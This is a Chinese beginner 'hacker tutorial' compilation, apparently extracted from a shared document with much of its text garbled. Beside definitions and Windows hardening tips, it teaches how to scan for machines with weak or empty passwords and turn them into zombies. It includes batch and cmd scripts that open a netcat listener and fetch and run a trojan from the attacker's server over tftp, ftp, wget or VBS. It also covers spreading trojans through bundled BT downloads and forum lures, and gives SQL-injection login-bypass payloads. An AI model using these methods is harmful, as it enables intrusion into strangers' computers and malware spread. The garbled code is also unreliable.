admin管理员组

文章数量:1530853

2024年6月27日发(作者:)

最简单的黑客入门教程大全

最简单的黑客入门教程大全

目录

1 黑客简介 (2)

2 保护自己电脑绝对不做黑客肉鸡 (2)

3 抓肉鸡的几种方法 (5)

4 防止黑客通过Explorer侵入系统 (9)

5 SQL注入详解 (10)

5.1 注入工具 (11)

5.2 php+Mysql注入的误区 (11)

5.3 简单的例子 (12)

5.4 语句构造 (14)

5.5 高级应用 (21)

5.6 实例 (26)

5.7 注入的防范 (28)

5.8 我看暴库漏洞原理及规律1 (29)

5.9 我看暴库漏洞原理及规律2 (31)

6 跨站脚本攻击 (33)

6.1 跨站脚本工具 (33)

6.2 什么是XSS攻击 (34)

6.3 如何寻找XSS漏洞 (34)

6.4 寻找跨站漏洞 (35)

6.5 如何利用 (35)

6.6 XSS与其它技术的结合 (36)

7 XPath注入 (37)

7.1 XPath注入介绍 (37)

7.2 XPath注入工具 (40)

声明:文章来源大多是网上收集而来,版权归其原作者所有。

1黑客简介

"黑客"(hacker)这个词通常被用来指那些恶意的安全破坏者。关于

"黑客"一词的经典定义,最初来源于麻省理工学院关于信息技术的一

份文档,之后便被新闻工作者们长期使用。但是这个在麻省理工被当

做中性词汇的术语,却逐渐被新闻工作者们用在了贬义的环境,而很

多人也受其影响,最终导致了"黑客"一词总是用于贬义环境。有些人

认为,我们应该接受"黑客"一词已经被用滥并且有了新的意义。他们

认为,如果不认可这种被滥用的词汇,那么将无法与那些不懂技术的

人进行有效的交流。而我仍然认为,将黑客和恶意的骇客(cracker)分

开表述,对交流会更有效,比如使用"恶意的安全骇客"会更容易让对

方理解我所指的对象,从而能够达到更好的沟通交流效果,也避免了

对"黑客"一词的滥用。之所以要区分黑客和恶意骇客,是因为在某些

情况下,我们讨论的对象是那些毫无恶意并且不会对安全防御或者用

户隐私造成损害的对象,这些人只有用"黑客"这个词来描述才最贴切。

如果你只是简单的将"黑客"和"恶意的安全骇客"划等号,将无法在与人

交流安全技术问题时,轻松的分辨别人所指的到底是哪种类型的人。

黑客和骇客的区别是,黑客仅仅对技术感兴趣,而后者则是通过技术

获取职业发展或者谋生。很多黑客和骇客都具有技术天赋,有些骇客

据此进行职业发展。当然,并不是每个有技术天赋的人都必须沿着黑

客或者骇客的方向发展。黑客这个术语的经典意义是指那些对于事物

如何工作非常感兴趣的人,他们修理,制作或者修改事物,并以此为

乐。对于某些人来说,这个词并不准确,而对于另一些人来说,黑客

意味着最终能完全掌握某些事情。根据RFC1392的记载,互联网用户

词汇将"黑客"定义为:迷恋于获取某些系统尤其是计算机和计算机网

络系统内部运作机制的人。而这个词经常被错误的用于贬义环境。在

贬义环境中,正确的用词应该是"骇客"。TheJargonWiki对于"黑客"

的首次定义为:迷恋于探知可编程系统细节以及如何扩展其功能的人,

与大多数只需了解系统基本知识的人不同。而安全骇客,则是以破坏

安全系统为目的的人。有些安全骇客最终会用自己所掌握的技术做善

事,提供渗透测试服务,或者其他有利于安全防护的工作。而更多的

人则是利用自己的技术行恶事。在RFC1392和JargonWiki中都对"骇

客"进行了类似的贬义定义。在不同的环境中使用正确的术语,对于沟

通来说是非常重要的。在这方面我是有过切身体验的。一次与一家企

业的负责人交流时,我们使用了相同的词汇,但是所指的对象却正好

相反,结果沟通效果非常失败。当两种不同的背景下需要同一个词汇

时,比如需要谈到传统意义的黑客以及带有恶意目的的骇客时,如果

不事先将术语解释清楚,或给出一定的规范,肯定会导致交流困难。

对于目前的交流来说,一个更简单的办法就是只适用恶意安全骇客,

而不是黑客,这是因为:目前大部分消息中所指的,都是带有恶意目

的的骇客,而不是以技术为目标的黑客。这就是为什么在我的文章中,

总是会使用"恶意的安全骇客"来代指从事恶意活动的人,而在某些文

章中如果需要涉及到传统意义的"黑客",我也会在文中再次进行说明。

在讨论安全话题时,为了能更清晰的交流,我也建议大家和我一样采

用正确的词汇。

2保护自己电脑绝对不做黑客肉鸡

第一招:屏幕保护

在Windows中启用了屏幕保护之后,只要我们离开计算机(或者

不操作计算机)的时间达到预设的时间,系统就会自动启动屏幕保护程

序,而当用户移动鼠标或敲击键盘想返回正常工作

状态时,系统就会打开一个密码确认框,只有输入正确的密码之

后才能返回系统,不知道密码的用户将无法进入工作状态,从而保护

了数据的安全。提示:部分设计不完善的屏幕保护程序没有屏蔽系统

的"Ctrl+Alt+Del"的组合键,因此需要设置完成之后测试一下程序是

否存在这个重大Bug.不过,屏幕保护最快只能在用户离开1分钟之后

自动启动,难道我们必须坐在计算机旁等待N分钟看到屏幕保护激活

之后才能再离开吗?其实我们只要打开Windows 安装目录里面的

system子目录,然后找到相应的屏幕保护程序(扩展名是SCR),按住

鼠标右键将它们拖曳到桌面上,选择弹出菜单中的"在当前位置创建快

捷方式"命令,在桌面上为这些屏幕保护程序建立一个快捷方式。此后,

我们在离开计算机时双击这个快捷方式即可快速启动屏幕保护。

第二招:巧妙隐藏硬盘

在"按Web页"查看方式下,进入Windows目录时都会弹出一句

警告信息,告诉你这是系统文件夹如果"修改该文件夹的内容可能导致

程序运行不正常,要查看该文件夹的内容,请单击显示文件",这时单

击"显示文件"就可以进入该目录了。原因是在Windows根目录下有

和两个文件作祟。将这两个文件拷贝到某个驱

动器的根目录下(由于这两个文件是隐藏文件,之前必须在文件夹选项

中单击"查看"标签,选择"显示所有文件",这样就可以看见这两个文件

了)。再按"F5"键刷新一下,看看发生了什么,是不是和进入

Windows目录时一样。接下来我们用"记事本"打开,这是

用HTML语言编写的一个文件,发挥你的想像力尽情地修改吧。如果

你不懂HTML语言也没关系,先找到"显示文件"将其删除,找到"修改

该文件夹的内可能导致程序运行不正常,要查看该文件夹的内容,请

单击显示文件",将其改为自己喜欢的文字,例如"安全重地,闲杂人

等请速离开"。将"要查看该文件夹的内容,请单击"改为"否则,后果自

负!",接着向下拖动滑块到倒数第9行,找到

"(file://%TEMPLATEDIR%)"这是显示警告信息时窗口右

下角齿轮图片的路径,将其改为自己图片的路径,例如用"d:

"替换"//"后面的内容,记住这里必须将图片的后

缀名打出,否则将显示不出图片。当然,你还可以用像Dreamweaver、

FrontPage这样的网页工具做出更好的效果,然后只要将原文件拷贝

到下面这段文字的后面,覆盖掉原文件中"~"之间的内容就可以了。

*ThisfilewasautomaticallygeneratedbyMicrosoftInternetEXPlorer

5.0*usingthefile%T HISDIRPATH%.保存并退出,按"F5"

键刷新一下,是不是很有个性?接下来要作的就是用"超级兔子"将你所

要的驱动器隐藏起来,不用重新启动就可以欣赏自己的作品了。最后

告诉大家一招更绝的,就是干脆将原文件中"~"之间的内容

全部删除,这样就会给打开你的驱动器的人造成一种这是一个空驱动

器的假象,使其中的文件更安全。

第三招:禁用"开始"菜单命令

在Windows2000/XP中都集成了组策略的功能,通过组策略可以

设置各种软件、计算机和用户策略在某种方面增强系统的安全性。运

行"开始→运行"命令,在"运行"对话框的"打开"栏中输入"",

然后单击"确定"按钮即可启动WindowsXP组策略编辑器。在"本地计

算机策略"中,逐级展开"用户配置→管理模板→任务栏和开始菜单"分

支,在右侧窗口中提供了"任务栏"和"开始菜单"的有关策略。在禁用"

开始"菜单命令的时候,在右侧窗口中,提供了删除"开始"菜单中的公

用程序组、"我的文档"图标、"文档"菜单、"网上邻居"图标等策略。清

理"开始"菜单的时候只要将不需要的菜单项所对应的策略启用即可,

比如以删除"我的文档"图标为例,具体操作步骤为:1)在策略列表窗

口中用鼠标双击"从开始菜单中删除我的文档图标"选项。2)在弹出窗

口的"设置"标签中,选择"已启用"单选按钮,然后单击"确定"即可。

第四招:桌面相关选项的禁用

WindowsXP的桌面就像你的办公桌一样,有时需要进行整理和

清洁。有了组策略编辑器之后,

这项工作将变得易如反掌,只要在"本地计算机策略"中展开"用户

配置→管理模板→桌面"分支,即可在右侧窗口中显示相应的策略选项。

1)隐藏桌面的系统图标倘若隐藏桌面上的系统图标,传统的方法是通

过采用修改注册表的方式来实现,这势必造成一定的风险性,采用组

策略编辑器,即可方便快捷地达到此目的。若要隐藏桌面上的"网上邻

居"和"InternetEXPlorer"图标,只要在右侧窗口中将"隐藏桌面上网上

邻居图标"和"隐藏桌面上的InternetEXPlorer图标"两个策略选项启用

即可。如果隐藏桌面上的所有图标,只要将"隐藏和禁用桌面上的所有

项目"启用即可。当启用了"删除桌面上的我的文档图标"和"删除桌面上

的我的电脑图标"两个选项以后,"我的电脑"和"我的文档"图标将从你

的电脑桌面上消失了。如果在桌面上你不再喜欢"回收站"这个图标,

那么也可以把它给删除,具体方法是将"从桌面删除回收站"策略项启

用。2)禁止对桌面的某些更改如果你不希望别人随意改变计算机桌面

的设置,请在右侧窗口中将"退出时不保存设置"这个策略选项启用。

当你启用这个了设置以后,其他用户可以对桌面做某些更改,但有些

更改,诸如图标和打开窗口的位置、任务栏的位置及大小在用户注销

后都无法保存。

第五招:禁止访问"控制面板"

如果你不希望其他用户访问计算机的控制面板,你只要运行组策

略编辑器,并在左侧窗口中展开"本地计算机策略→用户配置→管理模

板→控制面板"分支,然后将右侧窗口的"禁止访问控制面板"策略启用

即可。此项设置可以防止控制面板程序文件的启动,其结果是他人将

无法启动控制面板或运行任何控制面板项目。另外,这个设置将从"开

始"菜单中删除控制面板,同时这个设置还从Windows资源管理器中

删除控制面板文件夹。提示:如果你想从上下文菜单的属性项目中选

择一个"控制面板"项目,会出现一个消息,说明该设置防止这个操作。

第六招:设置用户权限

当多人共用一台计算机时,在WindowsXP中设置用户权限,可

以按照以下步骤进行:1)运行组策略编辑器程序。2)在编辑器窗口的

左侧窗口中逐级展开"计算机配置→Windows设置→安全设置→本地

策略→用户权限指派"分支。3)双击需要改变的用户权限,单击"添加

用户或组"按钮,然后双击想指派给权限的用户账号,最后单击"确定"

按钮退出。第七招:文件夹设置审核WindowsXP可以使用审核跟踪

用于访问文件或其他对象的用户账户、登录尝试、系统关闭或重新启

动以及类似的事件,而审核文件和NTFS分区下的文件夹可以保证文件

和文件夹的安全。为文件和文件夹设置审核的步骤如下:1)在组策略

窗口中,逐级展开右侧窗口中的"计算机配置→Windows设置→安全

设置→本地策略"分支,然后在该分支下选择"审核策略"选项。2)在右

侧窗口中用鼠标双击"审核对象访问"选项。3)用鼠标右键单击想要审

核的文件或文件夹,选择弹出菜单的"属性"命令,接着在弹出的窗口

中选择"安全"标签。4)单击"高级"按钮,然后选择"审核"标签。5)根据

具体情况选择你的操作:倘若对一个新组或用户设置审核,可以单击"

添加"按钮,并且在"名称"框中键入新用户名,然后单击"确定"按钮打

开"审核项目"对话框。要查看或更改原有的组或用户审核,可以选择

用户名,然后单击"查看/编辑"按钮。要删除原有的组或用户审核,可

以选择用户名,然后单击"删除"按钮即可。6)如有必要的话,在"审核

项目"对话框中的"应用到"列表中选取你希望审核的地方。

7)如果想禁止目录树中的文件和子文件夹继承这些审核项目,选

择"仅对此容器内的对象和/或容器应用这些审核项"复选框。注意:必

须是管理员组成员或在组策略中被授权有"管理审核和安全日志"权限

的用户可以审核文件或文件夹。在WindowsXP审核文件、文件夹之

前,你必须启用组策略中"审核策略"的"审核对象访问"。否则,当你设

置完文件、文件夹审核时会返回一个错误消息,并且文件、文件夹都

没有被审核。

3抓肉鸡的几种方法

找点工具就OK了端口抓肉鸡的几种方法肉鸡大家都应该清楚是什

么东西吧!呵呵这点就不用说了.............慢慢学

1、3389抓鸡

现在国内网络上流传着一种克隆版的XP,安装后会默认开启一个

账号为new,密码为空的账户,而且基本上都是开着3389的,我们就

可以利用这一点来抓肉鸡。首先用端口扫描工具扫一段IP的3389端

口,扫完后就直接用远程桌面连接开放3389的机器(也可以把结果保

存为文本文件,用批量生成3389连接的工具来连接),然后输入账号

new登入,如果别人的电脑前没人的话你就可以去你的空间下载你传

好的木马安装拉~~

这种方法只针XP系统,如果遇到2000或者2003系统就不要试

呵呵。缺点也很明显,如果别人不是用new账号登入XP的,你

再登入上去就会把他挤出去(XP只支持单用户登入,用户登入需要用

工具开),或者电脑前有人你就不可能去打开IE 下载木马了。

2、扫135端口抓肉鸡

首先先用端口扫描器扫一段IP的135端口,然后把结果保存,再

用NTSCAN过滤有弱口令的机器,最后用recton开telnet传马。因

为现在135和445端口都被防火墙屏蔽了,只能扫本地的135肉鸡,

要抓外地的只能用外地的135肉鸡来扫。(详细动画

可以去黑客网站搜索135)

3、扫445端口抓肉鸡

和扫135抓肉鸡差不多,首先先用端口扫描器扫一段IP的445端

口,然后把结果保存,再用NTSCAN过滤有弱口令的机器,最后用啊

D工具包开共享传马。因为现在135和445端口都被防火墙屏蔽了,

只能扫本地的445肉鸡,要抓外地的只能用外地的445肉鸡来扫。

(详细动画可以去黑客网站搜索445)

4、1433端口批量溢出抓肉鸡

这个方法可以实现全自动抓鸡,不过现在太多人搞,成功率已经

不高了。要用到的工具:S 扫批处理文件首先先写

个批处理,打开记事本,把以下代码复制修改后,储存为扫描+溢

出.bat文件

@echooff

for/f"eol=;tokens=1,2delims="%%iin()%%i%

%j

14331000/save

@echooff

for/f"eol=;tokens=1delims="%%iin()dosqlhello%%

i

556

还要新建一个,里面你要扫的IP段,格式为

,中间是空格

1433是要扫描的端口,1000是扫描线程数,dosqlhello%%i

556这个里的XXX添你的IP,556是后面NC

听的端口然后再写个批处理

@echooff

Nc-l-vv-p556>

echousername>>

echopassword>>

echobin>>(以2进制传输数据)

(你的木马的文件名,要放在根目录

下)>> echobye>>

netstopsharedaccess(关闭WINDOWS自带防火墙)

ftp-s:

(也是填你木马的文件名)

注意上面的代码回车符别删掉,要不然就没法下你的马了。

几种肉鸡上传文件的方法

tftp法

先在自己某机器上建个tftp服务器,如执行,

再将文件()上传到别的机器中(肉鸡),

肉鸡cmd中执行:tftp-i服务器

ftp法

肉鸡cmd中执行:

echoopenftp服务器ip[端口]>

echousername>>

echopassword>>

>>

echobye>>

ftp-s:

工具法

利用wineggdrop的

肉鸡cmd中执行:wget网站/

利用法

肉鸡cmd中执行:

echowithwscript:^<:endif

>

echosetaso=.createobject(""):set

web=createobject("p")>>

"get",.arguments(0),0::if

^>200thenquit>>

echo

=1::sebody:

file .arguments(1),2:endwith>

p://*。*。*。*:88/

利用法

方法同4,

肉鸡cmd中执行:

echoiLocal=LCase(nts(1))>

echoiRemote=LCase(nts(0))>>

echoSetxPost=CreateObject("P")

>>

"GET",iRemote,0>>

()>>

echoSetsGet=CreateObject("")>>

=3>>

=1>>

()>>

(seBody)>>

FileiLocal,2>>

p://*。*。*。*/

利用Http网站vbe法

echoSetxPost=CreateObject("P")

>

"GET","*.*.*.*/",0

>>

()>>

echoSetsGet=CreateObject("")>>

=3>>

=1>>

()>>

(seBody)>>

File"",2>>ript

3389法

可以开3389,然后登陆,进行本地的下载。该方法对服务

器上传很严格的机器特有效。(包括硬件防火墙)

先打开多个,然后再打开扫描+溢出.bat,然后你就可以

去睡大觉了。自动扫描,扫描完后自动溢出,溢出后还自动下

马执行,爽吧!所以这里讲详细点,呵呵。还有4221端口也

可以这样溢出,只要用这些端口的溢出工具就好了,详细动画

可以去黑客网站搜索1433。

忘了说,上面的工具和批处理什么的都要放在同一个文件

夹下。

先休息一下,打这么多字累死了

继续

5、扫1433抓肉鸡之方法2

要用到的工具:端口扫描器X-scanSQL综合利用工具

上面我们说过了,1433溢出现在成功率已经不高了,所以我

们可以用另一种方法。开了1433端口的机器一般都装了SQL,所

以我们可以猜测SQL弱口令来抓1433肉鸡。

首先先用端口扫描器扫一段IP的1433端口,然后结果保存为

文本文件,接着用X-scan导入这些开了1433的IP,然后在扫描

参数-全局设置-扫描模块这一栏里只勾上SQL-SERVER就可以了,其

他不要勾。然后在插件设置-端口相关设置-待检测端口这

一栏,只填1433端口。然后就可以开始扫描了。扫描完成后会

有个报告,列出了有弱口令的机器,然后打开SQL综合利用工

具,输入你扫到的弱口令来连接,接着打开SQL综合利用工具-

利用目录,上传你的木马,然后在用DOS命令执行你的木马就

OK了。

6、用WINNTAutoAttack扫SA弱口令抓肉鸡

其实这个原理和上面一样,效率也没上面的高,只是想让大

家知道下,呵呵。

工具:WINNTAutoAttackSQL综合利用工具

打开WINNTAutoAttack,找一段IP添上,然后只勾上设置下

的仅对PING检查成功的机器进行检测和SQL列出密码为空的SA

账号,接着开始扫描,扫完后,用SQL综合利用工具连上传马

执行就好了。

7、扫4899空口令抓肉鸡

工具:端口扫描器4899探测器Radmin

首先先用端口扫描器扫一段IP的4899端口,然后用4899探测

器导入开了4899端口的IP,接着扫空令,最后用Radmin连接

空口令的机器,带开文件管理,上传的你木马运行就OK了。

详细动画可以去黑客网站搜索4899

8、扫5900端口抓VNC肉鸡

工具:VNC扫描器VNC连接器

首先用VNC扫描器扫描一段IP,扫描格式为(扫描

器文件名)-i219.0.0.0-219.255.255.255(扫描IP段)-p5900-

vnc-vv扫描完成后会在扫描器所在的同一文件夹生成一个文

本文件,打开后有一列IP,IP后面的有一些单词比如

patched,banned,vulnerable,只有单词为vulnerable才能连接。

接着

就用VNC连接器连接,下面就不用多说了吧?详细动画可以去

黑客网站搜索VNC

接下来说说挂马抓肉鸡吧。方法有很多,比如BT挂马、免费

空间挂马、迅雷挂马等等,有些我也还不会,呵呵。下面就介

绍几种我会的。

1、BT挂马

顾名思义,就是把你的木马发布到BT网站让人下载。当然如果只

把单纯的木马文件发布上去效果肯定不好,而且现在一般的BT网站也

不让发布EXE文件。所以我们需要一些隐藏的手法。我们可以先把木

马用捆绑器和一些电影、音乐、游戏捆绑在一起,再压缩成RAR文件

发布,谁在开始下载时会知道RAR里有木马呢?当他费了好大劲下载

完,打开发现是EXE 的格式后,总有些菜鸟会不想辜负自己花费的时

间而忍不住打开吧?尤其是下XXX片的时候当然你也可以做个网页木

马,然后把你网页木马的地址插入到你发布的文件中(不是所有文件

都可以这样的,我只知道RM和EXE文件可以插入),别人下载打开

后同时也会带开你的网页木马,如果他的系统没有补供你网页木马所

利用的漏洞的话,那他就会中你的马了。有些朋友可能会想,我把木

马和其他文件捆绑后格式保持为那个文件(比如RM捆绑木马后保持

RM格式),那样别人不就不会怀疑了吗?呵呵,如果真有这样的好事

那我上面何不说把木马和BT种子文件绑在一起发布,那样你肉鸡不抓

疯了才怪~~所以在这里说一下,木马和其他文件捆绑后生成的文件只

能为EXE格式的,除非你有你所捆绑文件的格式的溢出漏洞,那样

才能把生成后的文件格式保持为你所捆绑文件的格式。不过这样

的漏洞现在

很少,大多都被补了,就算有别人也不一定会公开,为什么想想

就知道了吧。在这里就说一个最近的RAR溢出漏洞,针对winrar3.6

版本以下的所有版本,只要你winrar版本低于3.6,运行绑了牧马的

RAR文件后就会中马。此类木马症状为:运行RAR文件后会弹出一个

什么什么损坏还是错误的对话框,然后RAR文件体积变小,减少的体

积就为木马的体积。然后再次打开这个RAR文件一切正常,不会弹出

错误对话框。在这里提醒下各位赶快更新下WINRAR 版本,小心中马

哈。

2、免费空间挂马

其实和BT差不多,就是把做好的木马上传到你申请的免费空间,

然后到论坛发些诱惑性的帖子让别人下载你的木马。优点是不用像BT

那样做种子,那样不仅要开着电脑,还影响网速。我这几天就是这样

挂的,弄个免费空间,上传个木马,到2个XXX论坛发个帖子,每天

睡前一顶。 上面有好多可以学的,不清楚的问

下我

4防止黑客通过Explorer侵入系统

给点票票撒..........好不容易研究出来的哦绝对实用...恶意黑客和病

毒编译者能利用你邮件和网页浏览软件中的不安全设置来侵入你的电

脑。他们可以通过给你发电子邮件或者诱惑你浏览含有恶意代码的网

页来达到他们的目的。通过提高你的微软IE浏览器,Outltlook和

OutlookExpress的安全设置,可以来帮助你减小被攻击的可能。

恶意黑客和病毒编译者能利用你邮件和网页浏览软件中的不安全

设置来侵入你的电脑。他们可以通过给你发电子邮件或者诱惑你浏览

含有恶意代码的网页来达到他们的目的。通过提高你的微软IE浏览器,

Outltlook和OutlookExpress的安全设置,可以来帮助你减小被攻击

的可能。

步骤一:设置你浏览器安全级别为高

在你使用IE浏览器来浏览网页的时候来提升安全等级:

1.在IE的工具菜单中点击Internet选项。

2.在InternetOptions的对话框中,点击安全标签,并选择

Internet图标。

3.在该区域的安全级别选项中,滑动滑条至最高点。这样设置你

浏览的所有网站的安全级别为最高。(如果没有滑动条,点击默认级别

然后再滑动滑条至最高点。)

注意:高的设置可能导致一些网站不可以正常浏览。如果你在改

变这个设置后难以正常浏览网页,你可以将你要浏览的网页加到受信

任站点列表当中。这将允许网页可以在高安全设置的情况下正常浏览。

步骤二:加安全网站到受信任站点列表

设置IE安全级别到高可能导致一些网站步可以正常访问,这其中

包括了MicrosoftWindows?Update。如果你在改变了设置后不能正

常访问网站,你可以把他们加到受信任站点的列表当中,这将令网站

可正常工作。

微软建议先将

Windowsupdate)加入受信

任站点列表,从而你能直接安装总要的系统升级。

加安全网站到受信任站点列表:

1.在IE工具菜单,点击Internet选项。

2.在Internet选项的对话框中,点击安全标签。

3.点击受信任站点的图标,并点击网站按钮。

4.在受信任站点对话框中,输入网站的URL在"将该网站添加到区

域中"的对话框里,并且点

击添加。受信任站点的特点是只能用以Http:开头的URL。取消

对该区域中的所有站点要求服务器验证的选项。

5.点击确定。

6.在该区域的安全级别中,移动滑条至中级。这样就设定所有你

信赖的站点的安全级别为中级。(如果没有滑动条,点击默认级别然后

再滑动滑条至最高点。)

步骤三:以明文阅读电子邮件信息

为了帮助提高你的电子邮件的安全性,设置Outlook或者

OutlookExpress为明文阅读所有信息。

在OutlookExpress设置明文阅读信息:

1.在OutlookExpress工具菜单中,点击选项。

2.在选项对话框中,点击阅读标签。

3.选择明文阅读所有信息。

4.点击确定。

在Outlook设置明文阅读信息:

1.在OutlookExpress工具菜单中,点击选项。

2.在选项对话框中首选参数的标签下,点击电子邮件选项按钮。

3.在E-mail选项对话框中,选择阅读以文本格式阅读所有标准邮

件。

4.点击确定来关闭E-mail选项对话框,再点击确定关闭选项对话

框。

步骤四:在你的浏览器中阻止弹出窗口

为了保护你的电脑不受恶意弹出窗口的影响,而采取一定的措施

来阻止他们打开。一些网站使用小的浏览窗口来显示广告,有时会是

一些烦人的内容。恶意的攻击者也可能利用弹出窗口伪装成广告或者

建议来在你的电脑上安装恶意代码。

有效的办法是你在你的浏览器中安装一个防止弹出窗口的工具。

大部分类似的软件与IE都是兼容的,其中就包括免费的MSN工具栏。

5SQL注入详解

2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入

的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99

年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意

这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很

大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站

点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有

必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,

不妨给本文挑点刺。权当指点小弟。

国内能看到php+Mysql注入的文章可能比较少,但是如果关注

各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一

个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多,所

以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不

想跨越这个门槛。

尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最

麻烦的一种攻击方式,有效是因为至少70%以上的站点存在

SQLInjection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4

以下的版本是不支持子语句的,而且当里的

magic_quotes_gpc为On时。提交的变量中所有的'(单引号),"(双引

号),(反斜线)and空字符会自动转为含有反斜线的转义字符。给注入带

来不少的阻碍。

5.1注入工具

关于SQL注入,目前已经有工具软件支持,如WebCruiser -

Web Vulnerability Scanner (Web 安全漏洞扫描工具,可以扫描出

网站存在SQL注入、跨站脚本攻击、XPath注入的页面,并且可以进

一步进行SQL注入验证、跨站攻击验证、XPath注入验证,官方网站

为):

如果您想深入学习手工注入,请继续往下看:

早期的时候,根据程序的代码,要构造出没有引号的语句形成有

效的攻击,还真的有点困难,好在现在的技术已经构造出不带引号的

语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,

甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。注:

在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

5.2php+Mysql注入的误区

很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没

有办法像MSSQL那样可以使用

"declare@asysnameselect@a=_cmdshell@a"

这类的命令来消除引号,其实这个是大家对注入的一种误解或这说是

对注入认识上的一种误区。为什么呢?因为不管在什么语言里,在引

号(包括单双)里,所有字符串均是常量,即使是

dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除

非是这样写的代码:$command="dirc:";

system($command);

否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,

我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不

能让我们的语句变成字符串,那么什么情况下会用

单引号?

什么时候不用呢?看看下面两句SQL语句:

①SELECT*FROMarticleWHEREarticleid='$id'

②SELECT*FROMarticleWHEREarticleid=$id

两种写法在各种程序中都很普遍,但安全性是不同的,第一句由

于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了

字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不

同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含

空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分

别提交两个成功注入的畸形语句,来看看不同

之处。

①指定变量$id为:

1'and1=2unionselect*fromuserwhereuserid=1/*

此时整个SQL语句变为:

SELECT*FROMarticleWHEREarticleid='1'and1=2unionselect*

fromuserwhere

userid=1/*'

②指定变量$id为:

1and1=2unionselect*fromuserwhereuserid=1

此时整个SQL语句变为:

SELECT * FROM article WHERE articleid=1 and 1=2 union

select * from user where userid=1

看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引

号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语

句中的后面的单引号,这样才可以成功注入,如果

中magic_quotes_gpc设置为on或者变量前使用了addslashes()

函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那

我们也不用考虑去闭合、注释,直接提交就OK 了。

大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的

《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家

不要认为真的可以不用引号注入,仔细看看PHPBB 的代码,就可以发

现,那个$forum_id所在的SQL语句是这样写的:

$sql="SELECT*

FROM".FORUMS_TABLE."

WHEREforum_id=$forum_id";

由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,

所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,

必要的安全措施是必不可少的。

5.3简单的例子

先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。

当然,这个例子也可以告诉大

家如何学习构造有效的SQL语句。

我们拿一个用户验证的例子,首先建立一个数据库和一个数据表

并插入一条记录,如下:CREATETABLE`user`(

`userid`int(11)NOTNULLauto_increment,

`username`varchar(20)NOTNULLdefault'',

`password`varchar(20)NOTNULLdefault'',

PRIMARYKEY(`userid`)

)TYPE=MyISAMAUTO_INCREMENT=3;

#

#导出表中的数据`user`

#

INSERTINTO`user`VALUES(1,'angel','mypass');

验证用户文件的代码如下:

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="injection";

mysql_connect($servername,$dbusername,$dbpassword)or

die("数据库连接失败");

$sql="SELECT*FROMuserWHEREusername='$username'ANDpas

sword='$password'"; $result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

if(empty($userinfo))

{

echo"登陆失败";

}else{

echo"登陆成功";

}

echo"

SQLQuerysql

";

>

这时我们提交:

127.0.0.1/injection/?username=angel'or1=1

就会返回:

Warning:mysql_fetch_array():suppliedargumentisnotavalidM

ySQLresultresource inF:ine13

登陆失败

SQLQuery:SELECT*FROMuserWHEREusername='angel'or1=

1'ANDpassword=''

PHPWarning:mysql_fetch_array():suppliedargumentisnotavalidM

ySQLresult resourceinF:ine13

看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单

引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确

执行,要重新构造:

127.0.0.1/injection/?username=angel'or'1=1

这时显示"登陆成功",说明成功了。或者提交:

127.0.0.1/injection/?username=angel'/*

127.0.0.1/injection/?username=angel'%23

这样就把后面的语句给注释掉了!说说这两种提交的不同之处,

我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛

的,这个不用说了吧?第二、三句是根据mysql

的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是

把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提

交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会

变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出

PHP 比ASP强大灵活多了。

通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识

了吧?

5.4语句构造

PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语

句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有

少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊

字符可以显示所有记录,包括

不符合条件的,其实这个危害也不算大,因为允许用户输入关键

字进行模糊查询的地方大多数都

允许检索所有的记录。很多查询的设计就是这样的。

查询是只读的操作应该不会对数据产生破坏作用,不要太担心。

不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:

< bdsfid="379" p=""><>

value="Search">

Searchresult

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="injection";

mysql_connect($servername,$dbusername,$dbpassword)or

die("数据库连接失败"); $keywords=$_GET['keywords'];

if(!empty($keywords)){

//$keywords=addslashes($keywords);

//$keywords=str_replace("_","_",$keywords);

//$keywords=str_replace("%","%",$keywords);

$sql="SELECT*FROM".$db_prefix."articleWHEREtitleLIKE'%$

keywords%' $searchORDERBYtitleDESC";

$result=mysql_db_query($dbname,$sql);

$tatol=mysql_num_rows($result);

echo"

SQLQuerysql

";

if($tatol<=0){

echo"The"$keywords"wasnotfoundinalltherecord.

